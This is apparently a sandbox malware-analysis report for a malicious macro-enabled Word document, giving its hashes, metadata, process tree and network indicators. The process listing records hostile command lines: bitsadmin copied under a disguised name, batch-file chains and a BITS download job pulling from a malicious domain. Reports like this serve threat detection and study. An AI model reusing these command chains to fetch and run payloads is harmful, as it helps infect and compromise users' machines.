File name: | SecureMessage.docm |
Full analysis: | https://app.any.run/tasks/688bad9f-f3c4-4d7b-8b9a-e940f8dc66cc |
Verdict: | Malicious activity |
Analysis date: | March 22, 2019, 09:14:58 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 64 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.openxmlformats-officedocument.wordprocessingml.document |
File info: | Microsoft Word 2007+ |
MD5: | 095C4FD66987B268D1690059DEE9CDE4 |
SHA1: | BF5B0521515A31DC3EE70DF98A02CF93B67B529F |
SHA256: | A6BC9CBFA4C7C85D2434395D884991F708F784155E26370DF8DB046B3FEAE02A |
SSDEEP: | 1536:2okVYIFnJRHU60S7QotsocLukQkFJq+NiwuwZmaBB8:KFJRjtsJQkCCuHP |
.docm | | | Word Microsoft Office Open XML Format document (with Macro) (53.6) |
---|---|---|
.docx | | | Word Microsoft Office Open XML Format document (24.2) |
.zip | | | Open Packaging Conventions container (18) |
.zip | | | ZIP compressed archive (4.1) |
Creator: | Tomas |
---|
ModifyDate: | 2019:03:11 18:05:00Z |
---|---|
CreateDate: | 2019:03:11 17:58:00Z |
RevisionNumber: | 3 |
LastModifiedBy: | Пользователь Windows |
AppVersion: | 16 |
HyperlinksChanged: | No |
SharedDoc: | No |
CharactersWithSpaces: | 200 |
LinksUpToDate: | No |
Company: | - |
TitlesOfParts: | - |
HeadingPairs: |
|
ScaleCrop: | No |
Paragraphs: | 1 |
Lines: | 1 |
DocSecurity: | None |
Application: | Microsoft Office Word |
Characters: | 171 |
Words: | 30 |
Pages: | 1 |
TotalEditTime: | 2 minutes |
Template: | Normal.dotm |
ZipFileName: | [Content_Types].xml |
---|---|
ZipUncompressedSize: | 1685 |
ZipCompressedSize: | 433 |
ZipCRC: | 0x714a6bd3 |
ZipModifyDate: | 1980:01:01 00:00:00 |
ZipCompression: | Deflated |
ZipBitFlag: | 0x0006 |
ZipRequiredVersion: | 20 |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
1448 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\SecureMessage.docm" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.5123.5000 | ||||
2812 | "C:\Windows\System32\cmd.exe" cmd /r cmd /c copy /Y /V %windir%\system32\bitsadmin.exe %temp%\@0Tr0e'.exe && %temp%\velofiba2.bat && %temp%\velofiba3.bat && %temp%\velofiba4.bat | C:\Windows\System32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
1600 | cmd /c copy /Y /V C:\Windows\system32\bitsadmin.exe C:\Users\admin\AppData\Local\Temp\@0Tr0e'.exe | C:\Windows\system32\cmd.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
932 | cmd /r cmd /c ping -n 2 pamelaannspantry.com | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2452 | cmd /c ping -n 2 pamelaannspantry.com | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2088 | ping -n 2 pamelaannspantry.com | C:\Windows\system32\PING.EXE | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
692 | cmd /r cmd /c C:\Users\admin\AppData\Local\Temp\@0Tr0e' /reset | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
636 | cmd /c C:\Users\admin\AppData\Local\Temp\@0Tr0e' /reset | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2804 | C:\Users\admin\AppData\Local\Temp\@0Tr0e' /reset | C:\Users\admin\AppData\Local\Temp\@0Tr0e'.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 0 Version: 7.5.7601.17514 (win7sp1_rtm.101119-1850) | ||||
360 | C:\Users\admin\AppData\Local\Temp\@0Tr0e' /CREATE /DOWNLOAD Taur | C:\Users\admin\AppData\Local\Temp\@0Tr0e'.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 0 Version: 7.5.7601.17514 (win7sp1_rtm.101119-1850) |
PID | Process | Filename | Type | |
---|---|---|---|---|
1448 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR4207.tmp.cvr | — | |
MD5:— | SHA256:— | |||
1448 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E62876CD.png | — | |
MD5:— | SHA256:— | |||
1448 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6968B66A.gif | — | |
MD5:— | SHA256:— | |||
1448 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFAB8D9D8BA812E8E6.TMP | — | |
MD5:— | SHA256:— | |||
1448 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF30EC68A3A835124E.TMP | — | |
MD5:— | SHA256:— | |||
1448 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{139F5CE7-69D9-42C5-8C43-D892C5D27704}.tmp | — | |
MD5:— | SHA256:— | |||
1448 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{C8E35E2A-67F3-4A3B-930E-07F2D45F749C}.tmp | — | |
MD5:— | SHA256:— | |||
1448 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DF4725D0A6783FA51B.TMP | — | |
MD5:— | SHA256:— | |||
1448 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{73C37FBC-4EAE-4C7A-9BE6-A9A607422283}.tmp | — | |
MD5:— | SHA256:— | |||
1448 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:20D483C883E5AD16441A2F0920732D53 | SHA256:21BCC247049E8E26EDF01EEA40F0E0185F26119546BE9BD4AF3901D1743AE639 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
— | — | HEAD | 404 | 184.107.130.34:80 | http://oneentertainment.ca/shh.sshh | CA | — | — | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
— | — | 184.107.130.34:80 | oneentertainment.ca | iWeb Technologies Inc. | CA | suspicious |
Domain | IP | Reputation |
---|---|---|
pamelaannspantry.com |
| malicious |
oneentertainment.ca |
| suspicious |